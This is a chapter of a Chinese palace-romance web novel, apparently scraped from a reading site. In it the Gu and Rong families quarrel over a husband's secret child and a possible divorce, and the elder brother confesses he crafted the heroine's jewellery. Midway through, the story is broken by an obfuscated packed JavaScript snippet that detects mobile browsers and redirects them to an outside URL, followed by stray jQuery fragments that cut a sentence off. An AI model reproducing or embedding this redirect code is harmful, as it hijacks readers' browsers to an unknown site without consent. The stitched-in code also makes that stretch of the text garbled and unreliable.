21. 真相(三)

作品:《他觊觎弟妻很久了

    顾长颛责令顾长颢在顾氏祠堂跪了三天三夜。


    “大公子,二公子此举虽不妥,但追根究底是那容氏善妒,她既生不出子嗣,却又不许二公子纳妾,二公子宅心仁厚,不愿伤害发妻,却又不能断了香火,这才出此下策在外头养了外室。”


    顾子昌同宗族叔伯一起劝着:“是啊大哥,瑜哥儿是二哥亲生是大好事,既然现在事情已经如此,不妨就借此将那女子纳进府中,孩子还是养在生母跟前最好,这次也好正式让瑜哥儿进族谱。”


    “三公子说的有道理,那容氏再如何不同意,如今木已成舟,她也不能再说些什么,不如趁机将那柳氏纳进府中。”族中叔伯提议。


    顾长颛身居主位,听着族中叔伯的话,他面无表情的看向顾长颢:“长颢,你是如何想的?”


    顾长颢急声:“大哥,我不会纳柳婉儿入府。”


    此话一落,堂中叔伯纷纷不赞同。


    “合阳县的柳县令虽官小,但那柳氏还是当得一个妾室之位。”


    “是啊,而且二公子要……谋害那柳氏,还有陷害柳县令一事,如今陛下已经知道此事,若是安抚不好那柳县令,他再向陛下状告,于二公子您毫无益处。”


    “是啊二哥,就算你不喜欢那柳氏,可也要先把人纳进府中,先将柳县令那边安抚下来。”


    堂上的顾长颛也淡淡开口:“柳承岩已经允诺我,只要柳婉儿进门,他不会再追究此事,陛下也不会再过问。”


    闻言,堂下的顾长颢面露难色,缓缓出声:“此事……给我些时间再定夺吧。”


    顾长颛轻轻拨弄了一下拇指上的扳指,他缓声问询:“容府那边,你可想好要如何交待?”


    一直在旁边未发一言的顾子盛出声:“容太傅向来随性,有时便是陛下都拿他没办法,太傅宠女儿人尽皆知,他不会罢休的,而且……以我对二嫂的了解,二嫂绝非是寻常的女子,她当初连太子都不嫁,只因不想与旁人共事一夫,如今二哥你这般……二嫂绝不会轻易原谅你的。”


    此话一落,顾长颢面色又白了一分。


    “容氏无子乃是大过,太傅再如何不讲理又如何,大不了我们王府休妻,我倒要看看他容肖易敢如何!”


    “就是,有大公子在,我就不信陛下还能纵着容府敢如何!”


    顾长颛冷声打断:“连陛下都要敬上太傅三分,诸位叔伯慎言。”


    说完,他看向顾长颢,漠声:“长颢,方才四弟说的不错,听闻当初容嫣嫁给你时便同你约定了一生一世一双人,如今你违背誓言在先,想必已经料到了最差的结果。”


    说罢,顾长颛起身,最后留下一句:“二弟,你好自为之吧。”


    容嫣回府后,容府上下知晓此事也各有反应。


    容肖易大怒。


    二婶梁氏劝道:“这顾姑爷这番行事显然是没把嫣儿和咱们容府放在眼里,真是欺人太甚,不过……我听说这顾姑爷只想把孩子留下,甚至动了去母留子的念头,可见他对我们嫣儿是真心实意的。”


    容肖易怒声:“住口吧,“去母留子”这么狠心的事都能做出来,此子绝非良配,他口口声声说为了阿梨杀人,这摆明是放屁!他若真爱慕阿梨,就不会同别的女子有了牵涉,还搞出来了孩子,为了让这个孩子进门,他欺上瞒下,百般设计,口无真言,此子德行极其恶劣,枉我之前看走了眼,竟没识破他是个口蜜腹剑之徒!”


    “大哥莫要生气,二嫂也是为了嫣儿着想,嫣儿嫁进王府三年没有子嗣,我还听说……有大夫说嫣儿生养艰难,大哥可千万别为了一时之快同王府撕破脸,不然嫣儿以后可如何自处。”三婶金氏也劝道。


    容肖易拍案而起:“去他的,大不了和离!我这辈子所有财产用来养阿梨也足够了!”


    见容肖易这般模样,旁边容二和容三两兄弟对视一眼,赶紧将说话的自家媳妇拉回来,劝她们这会儿别乱说话。


    两兄弟最是知道,他们大哥这辈子最宝贝的就是这闺女容嫣,若是有人叫容嫣受了委屈,那简直是剜他的心。


    堂上,容老夫人敲了敲拐杖,苍老的声音威严不减:“行了,你消停些,和离只是你自己的意愿,不论如何你都要顾着阿梨的想法才是!”


    冯氏想到容嫣回府时伤心又伤身的模样,擦了擦泪水:“是啊,母亲说的没错,阿梨对顾长颢是有情意的,你切莫意气用事,若真闹的两家不和,你让阿梨日后如何自处。”


    这话一出,容肖易的气火被浇灭了大半,他颓了后背,抬手掩面:“且听顾家如何给个交代吧,这些日子照看好阿嫣,都是我这个当爹的没用,让她在王府受苦了。”


    与此同时,容嫣的明珠阁内,大夫在医治容嫣腿上的摔伤和脚腕的扭伤。


    府上未出嫁的堂妹和兄嫂也都来看她。


    “大姐姐怎么伤这么重?”二婶家的堂妹容翩然看着容嫣腿上的伤,心疼道。


    容嫣解释:“夜色黑,一时不察便从石阶上踩空跌了一跤,只是看着吓人,没什么大碍,没伤到骨头。”


    容翩然又气道:“我原先还以为顾家的姐夫是个好人,他竟然做出这样的事,我真是看错了人!”


    旁边三婶家的堂妹容玲跟着点点头:“就是,当初大姐姐连太子都不嫁,就为了这大姐夫的一句一生一世一双人,没想到这大姐夫这么坑人!”


    一同过来看望的堂哥容成章媳妇薛氏听到两个小姑子这般义愤填膺,终于懂了出门前婆母和三婶对她的耳提面命。


    看来这两个小姑子同这个大妹妹关系是真的好。


    不过,婆母和三婶说的也有道理,不能逞一时英雄,也要顾着后果,尤其是家里还有三四个小妹未出嫁,为了容府以后,一定要阻止大妹妹和离才行。


    “大妹妹,可否听我一言,两个小妹年纪还小,她们尚不懂嫁人后的个中难处。”


    容嫣抬头看向这个堂嫂:“堂嫂不必客气,有话但说无妨。”


    “你莫怪我说话直接,你嫁入顾府三年没有子嗣,寻常人家怕是已经纳妾亦或安排了通房,更遑论偌大的王府,想必顾家姑爷面对的压力更大,他将孩子带进王府,怕你不高兴,只声称是抱养的,也是良苦用心了。”


    闻声,容嫣垂着眸未吭声。


    “在我看来,顾家姑爷去母留子实属无奈之举,他可能是真的爱极了大妹妹你,才做出这般行径。”


    “二嫂,你别说了,”容翩然有些听不下去了,“他今天敢为了大姐姐杀别人,日后未必不会为了别人对大姐姐动手,如大伯说的,这人德行不好,不是良配!”


    “就是就是,我听人说,大伯和大伯娘成婚五六年都没有孩子,那时大伯也没跟别人生孩子,后来大伯娘生了大姐姐,大伯心疼的只说不叫大伯娘再生!大伯这样的才是真正的好男人!”容玲也道。


    听着两个小姑子给自己拆台,薛氏无奈了。


    “大姐姐,不论你做什么决定,我都支持你,便是你要和离,我们也支持你,你不用怕连累我们的婚事,若是有男子因为这点区区小事就不娶我们,那他们也绝非良配!”


    “就是就是!”容玲附和。


    听到两个堂妹如此肺腑之言,容嫣眼眶一霎就红了。


    “大姐姐,你别哭,你可是我们最崇拜的女子!”容玲上前来那帕子给容嫣擦泪。


    “就是,当初如果不是娘亲和三婶相逼,大姐姐你也不会草草嫁入顾府!如今就不会遇到这种事!”容翩然也去抱着容嫣。


    “胡说什么。”容嫣搂住容翩然。


    见三姐妹抱成一团哭,薛氏无奈叹了口气,成,三姐妹情深,她倒里外不是人了。


    晚上,因为容嫣腿脚不便,容老夫人特意让人给容嫣准备了饭食送来。


    “青环,祖母那边怎么样了?”


    青环叹了口气:“听说晚膳后二夫人和三夫人留在老夫人那里还一直没回去呢。”


    容嫣顿了下:“又让祖母为我担心了。”


    “这二夫人和三夫人……当初若不是她们逼着,姑娘你也不会……”


    容嫣摇头:“与她们无关,况且那时二婶和三婶这么做也是为了几个堂妹考虑,无可厚非。”


    当初容嫣拒了太子的婚事,惹怒了太子生母良妃,良妃曾气恼说:“容家的女儿可真是娶不起。”


    是她差点连累了几个堂姐堂妹的婚事。


    现在两个婶娘定然担心她和离后会影响容家女儿的婚事。


    “祖母肯定很为难。”容嫣揉了揉额角。


    容嫣归家的第五天,顾长颢来了容府,但容嫣并未见他。


    顾长颢老老实实被容府几个老少爷们指着鼻子骂了一顿,又失魂落魄地回了顾府。


    不过顾长颢很是执着,此后接连十几天都来容府,见人诚心诚意来认错,打不还手骂不还口,容府几个叔伯兄弟都不好意思再骂了。


    最后只有容家父子还在坚持。


    容嫣也一直没答应见顾长颢。


    -


    “容府那边如何了?”


    这十几日,顾长颛虽一直宿在军营里,但容府那边的事,他一日不落的听令晋给他汇报。


    “前几日太傅一直不见二公子,今日倒是见人了,二公子被臭骂了一顿又回来了,不过我听容府其他的叔伯兄弟的态度比前几日好多了。”


    “她呢?”


    令晋顿了下:“容小姐一直没见二少爷。”


    “太傅可进宫面圣了?”


    令晋摇头:“除却每日早朝,太傅未曾单独进宫面圣。”


    “也是奇怪了,以太傅的性子,这次竟然没有进宫面圣讨公道。”令晋喃喃自语。


    闻言,顾长颛放下手中的笔,抬手摁了摁眉心。


    “令晋,明日备礼随我去容府一趟。”


    “……是。”


    容肖易生气时连皇帝面子都不给,更别说顾长颛。


    听顾长颛说明来意,容肖易冷哼一声。


    顾长颛继续拱手赔礼:“二弟妹入府后行事周到,让人挑不出一丝错处,倒是母亲性子不好相与,府中纷杂事多,外祖家两位舅母时常来府中,也给二弟妹添了不少麻烦,二弟妹在府中这些年受了许多委屈。”


    听顾长颛这些话,容肖易面色微变,他从未听容嫣提起这些。


    “二弟妹性子好,想来是不曾同太傅和夫人说起在王府的事,便是自我归京以来在府中看到二弟妹的处境,也时常替二弟妹不平,太傅当真是培养了一个好女子。”


    若是其他人说这话,容肖易只会觉得对方是在阴阳怪气,但这话从顾长颛嘴里说出来,容肖易只觉得顾长颛是真心实意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12088741|123993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他拍案:“你们王府真是欺人太甚!”


    “二弟做出这般行径,实在是对不住二弟妹,也对不住容府,我深知二弟妹心性随了太傅,是个行事恣意随心之人,当初二弟娶二弟妹时也承诺此生唯有一双人,如今二弟违背誓言,若二弟妹想要和离,我们王府也可以理解。”


    顾长颛这番肺腑之言,让容肖易心里舒坦不少。


    加上容肖易向来欣赏顾长颛,这会儿倒是没再继续板着脸,也敞开心扉直言。


    “哼!我倒是想要阿梨和离,可是……我不知阿梨如今怎么想的。”其实容肖易这些日子也没看得太明白,明明阿梨刚回府时曾说过要和离的,但前段日子他旁敲侧击问过,她却又犹豫了。


    明明阿梨不是那种优柔寡断的性子。


    想到这个宝贝女儿,容肖易不由得心疼,也不知道从什么时候开始,女儿心事多了起来,那些年少时的恣意洒脱也少了许多。


    容肖易忽然又想到,约莫十一二岁时,容嫣那时常常喜形于色,自以为隐藏的很好,常变着法同他打听淮王顾府的事,记得不知道从什么开始,她总爱戴一只镯子,每年生辰都盼着淮王府送来的贺礼……


    “唉……她同你那二弟也是年少情意走到一起,若她不想和离……只要她高兴,怎么都好。”


    闻言,顾长颛薄唇紧抿,睫毛微不可查的颤了颤。


    -


    转眼容嫣已经在容府待了近一月,这一个月,顾长颢日日都会来容府,但容嫣一直都没答应见他。


    这日,丫鬟如往日进来通禀。


    “姑娘,顾家大公子来了,问您可否一见?”


    容玲摆手:“不见,不是说了大姐姐不见他!”


    容翩然看向容嫣:“大公子?不是二公子?”


    容嫣站起身,眉头微蹙:“兄长?”


    ……


    来到容府前院,容嫣远远就看到了小亭中负手而立的高大男子。


    她放慢脚步,缓缓上前。


    听到动静,男子回过身来。


    “腿伤可好些了?”


    容嫣点头,抬头迎上他的视线,喊了声:“兄长。”


    不知为何,一个月未见,她竟觉得顾长颛似是更瘦削了些,轮廓愈发分明如刀刻。


    容嫣想到离府前不久顾长颛吐了血,想来兄长这些日子身体尚未恢复吧。


    虽然当前她跟顾长颢的感情出了问题,但并不代表她会将矛盾牵连到顾长颛。


    她正欲打算开口询问一句兄长近来身体可好?但是对方先开了口:


    “近来可还好?”


    闻言,容嫣垂眸,抿住唇。


    “今日我来,不是为了二弟的事。”


    听这话,容嫣迎上顾长颛的视线,对方眸光如往日般沉静。


    似乎还在顾忌着她的腿伤,顾长颛指了指小亭中的石凳,两人一同落座。


    “那兄长过来,可是有什么事?”容嫣出声。


    只见顾长颛拿出一个盒子,放在她面前的石桌上。


    “这是一月前你托我修的,如今已经修好了,我来物归原主。”顾长颛声音如旧,听不出什么情绪。


    “多谢兄长。”


    容嫣心思复杂,今后她跟顾长颢如何还不确定,只当顾长颛送这东西来也是为了说和,她眉头轻蹙。


    “你不必担忧,我说了,我这次来不是为了给二弟说和,是另有一件埋在心里许久的事想同你说明白。”顾长颛语气缓缓。


    他说着,抬手打开盒子,露出里面的东西,正是那日容嫣交给顾长颛,托他帮忙修理的璎珞和发冠。


    容嫣有些心不在焉,她只是随意往盒子瞧去——


    “这……”


    “这是兄长你修的?”


    方才她语气里的沉重,在看见盒子里的两个首饰时一扫而光。


    此前容嫣并没有抱太大的希望,这两个物件做工精美复杂,除非亲手打造的师傅,其他人怕是不能修的原模原样。


    可现在那两件首饰就这么摆在盒子里,原模原样,或者更精确地说,是跟她刚收到这两件首饰时一模一样,崭新又明亮。


    她拿起那发冠和璎珞,仔细端详,惊讶已经完全覆盖了她这个月来的糟糕情绪。


    “兄长你,你是如何修的?竟能一模一样?”原先上面掉了几颗宝石,现在就连宝石的样式颜色都跟原来一模一样。


    容嫣心中惊讶,但更多还是叹息,这两个物件尚能复原,但她心里却明确知道,无论日后能不能和离,她跟顾长颢的感情已经不能复原。


    她抬头看向顾长颛,勉强扯了下唇角:“枉费兄长这般手艺。”


    顾长颛回望过来,这一次,他的眸光就这么落在容嫣脸上,不曾有丝毫躲闪。


    “容嫣。”他轻唤了一声她的名字。


    听他如此称呼,容嫣眸光怔了下。


    还没等容嫣为他这一句突兀的称呼感到奇怪,只听他下一句——


    “这本就是我亲手锻造的,它们的每一处都是我构思打磨的,我自然清楚如何修理。”


    这声音分明如平日一般平静沉缓,但一字一句好像是带着份量,就这么砸进容嫣的心里。


    甚至怕她听不明白,顾长颛又补了一句。


    “这是我亲手做的,容嫣,为你做的。”